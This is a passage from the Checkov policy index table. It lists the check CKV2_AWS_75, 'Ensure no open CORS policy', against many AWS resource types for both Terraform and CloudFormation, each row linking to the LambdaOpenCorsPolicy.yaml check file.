[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3253 | CKV2_AWS_75              | resource                         | aws_db_security_group                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3254 | CKV2_AWS_75              | resource                         | aws_db_security_group                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3255 | CKV2_AWS_75              | resource                         | aws_db_snapshot                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3256 | CKV2_AWS_75              | resource                         | aws_db_snapshot                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3257 | CKV2_AWS_75              | resource                         | aws_db_snapshot_copy                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3258 | CKV2_AWS_75              | resource                         | aws_db_snapshot_copy                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3259 | CKV2_AWS_75              | resource                         | aws_db_subnet_group                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3260 | CKV2_AWS_75              | resource                         | aws_db_subnet_group                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3261 | CKV2_AWS_75              | resource                         | aws_default_network_acl                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3262 | CKV2_AWS_75              | resource                         | aws_default_network_acl                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3263 | CKV2_AWS_75              | resource                         | aws_default_route_table                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3264 | CKV2_AWS_75              | resource                         | aws_default_route_table                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3265 | CKV2_AWS_75              | resource                         | aws_default_security_group                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3266 | CKV2_AWS_75              | resource                         | aws_default_security_group                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3267 | CKV2_AWS_75              | resource                         | aws_default_subnet                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3268 | CKV2_AWS_75              | resource                         | aws_default_subnet                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3269 | CKV2_AWS_75              | resource                         | aws_default_vpc                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3270 | CKV2_AWS_75              | resource                         | aws_default_vpc                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3271 | CKV2_AWS_75              | resource                         | aws_default_vpc_dhcp_options                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3272 | CKV2_AWS_75              | resource                         | aws_default_vpc_dhcp_options                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3273 | CKV2_AWS_75              | resource                         | aws_detective_graph                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3274 | CKV2_AWS_75              | resource                         | aws_detective_graph                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3275 | CKV2_AWS_75              | resource                         | aws_detective_invitation_accepter                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3276 | CKV2_AWS_75              | resource                         | aws_detective_invitation_accepter                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3277 | CKV2_AWS_75              | resource                         | aws_detective_member                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3278 | CKV2_AWS_75              | resource                         | aws_detective_member                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3279 | CKV2_AWS_75              | resource                         | aws_detective_organization_admin_account                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3280 | CKV2_AWS_75              | resource                         | aws_detective_organization_admin_account                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3281 | CKV2_AWS_75              | resource                         | aws_detective_organization_configuration                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3282 | CKV2_AWS_75              | resource                         | aws_detective_organization_configuration                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3283 | CKV2_AWS_75              | resource                         | aws_devicefarm_device_pool                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3284 | CKV2_AWS_75              | resource                         | aws_devicefarm_device_pool                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3285 | CKV2_AWS_75              | resource                         | aws_devicefarm_instance_profile                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3286 | CKV2_AWS_75              | resource                         | aws_devicefarm_instance_profile                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3287 | CKV2_AWS_75              | resource                         | aws_devicefarm_network_profile                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3288 | CKV2_AWS_75              | resource                         | aws_devicefarm_network_profile                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3289 | CKV2_AWS_75              | resource                         | aws_devicefarm_project                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3290 | CKV2_AWS_75              | resource                         | aws_devicefarm_project                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3291 | CKV2_AWS_75              | resource                         | aws_devicefarm_test_grid_project                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3292 | CKV2_AWS_75              | resource                         | aws_devicefarm_test_grid_project                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3293 | CKV2_AWS_75              | resource                         | aws_devicefarm_upload                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3294 | CKV2_AWS_75              | resource                         | aws_devicefarm_upload                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3295 | CKV2_AWS_75              | resource                         | aws_devopsguru_event_sources_config                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3296 | CKV2_AWS_75              | resource                         | aws_devopsguru_event_sources_config                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3297 | CKV2_AWS_75              | resource                         | aws_devopsguru_notification_channel                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3298 | CKV2_AWS_75              | resource                         | aws_devopsguru_notification_channel                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3299 | CKV2_AWS_75              | resource                         | aws_devopsguru_resource_collection                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3300 | CKV2_AWS_75              | resource                         | aws_devopsguru_resource_collection                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3301 | CKV2_AWS_75              | resource                         | aws_devopsguru_service_integration                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3302 | CKV2_AWS_75              | resource                         | aws_devopsguru_service_integration                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3303 | CKV2_AWS_75              | resource                         | aws_directory_service_conditional_forwarder                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3304 | CKV2_AWS_75              | resource                         | aws_directory_service_conditional_forwarder                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3305 | CKV2_AWS_75              | resource                         | aws_directory_service_directory                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3306 | CKV2_AWS_75              | resource                         | aws_directory_service_directory                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3307 | CKV2_AWS_75              | resource                         | aws_directory_service_log_subscription                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3308 | CKV2_AWS_75              | resource                         | aws_directory_service_log_subscription                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3309 | CKV2_AWS_75              | resource                         | aws_directory_service_radius_settings                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3310 | CKV2_AWS_75              | resource                         | aws_directory_service_radius_settings                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3311 | CKV2_AWS_75              | resource                         | aws_directory_service_region                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3312 | CKV2_AWS_75              | resource                         | aws_directory_service_region                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3313 | CKV2_AWS_75              | resource                         | aws_directory_service_shared_directory                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3314 | CKV2_AWS_75              | resource                         | aws_directory_service_shared_directory                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3315 | CKV2_AWS_75              | resource                         | aws_directory_service_shared_directory_accepter                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3316 | CKV2_AWS_75              | resource                         | aws_directory_service_shared_directory_accepter                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3317 | CKV2_AWS_75              | resource                         | aws_directory_service_trust                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3318 | CKV2_AWS_75              | resource                         | aws_directory_service_trust                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3319 | CKV2_AWS_75              | resource                         | aws_dlm_lifecycle_policy                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3320 | CKV2_AWS_75              | resource                         | aws_dlm_lifecycle_policy                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3321 | CKV2_AWS_75              | resource                         | aws_dms_certificate                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3322 | CKV2_AWS_75              | resource                         | aws_dms_certificate                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3323 | CKV2_AWS_75              | resource                         | aws_dms_endpoint                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3324 | CKV2_AWS_75              | resource                         | aws_dms_endpoint                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3325 | CKV2_AWS_75              | resource                         | aws_dms_event_subscription                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3326 | CKV2_AWS_75              | resource                         | aws_dms_event_subscription                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3327 | CKV2_AWS_75              | resource                         | aws_dms_replication_config                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3328 | CKV2_AWS_75              | resource                         | aws_dms_replication_config                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3329 | CKV2_AWS_75              | resource                         | aws_dms_replication_instance                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3330 | CKV2_AWS_75              | resource                         | aws_dms_replication_instance                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3331 | CKV2_AWS_75              | resource                         | aws_dms_replication_subnet_group                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3332 | CKV2_AWS_75              | resource                         | aws_dms_replication_subnet_group                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3333 | CKV2_AWS_75              | resource                         | aws_dms_replication_task                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3334 | CKV2_AWS_75              | resource                         | aws_dms_replication_task                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3335 | CKV2_AWS_75              | resource                         | aws_dms_s3_endpoint                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3336 | CKV2_AWS_75              | resource                         | aws_dms_s3_endpoint                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3337 | CKV2_AWS_75              | resource                         | aws_docdb_cluster                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3338 | CKV2_AWS_75              | resource                         | aws_docdb_cluster                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3339 | CKV2_AWS_75              | resource                         | aws_docdb_cluster_instance                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3340 | CKV2_AWS_75              | resource                         | aws_docdb_cluster_instance                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3341 | CKV2_AWS_75              | resource                         | aws_docdb_cluster_parameter_group                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3342 | CKV2_AWS_75              | resource                         | aws_docdb_cluster_parameter_group                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3343 | CKV2_AWS_75              | resource                         | aws_docdb_cluster_snapshot                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3344 | CKV2_AWS_75              | resource                         | aws_docdb_cluster_snapshot                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3345 | CKV2_AWS_75              | resource                         | aws_docdb_event_subscription                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3346 | CKV2_AWS_75              | resource                         | 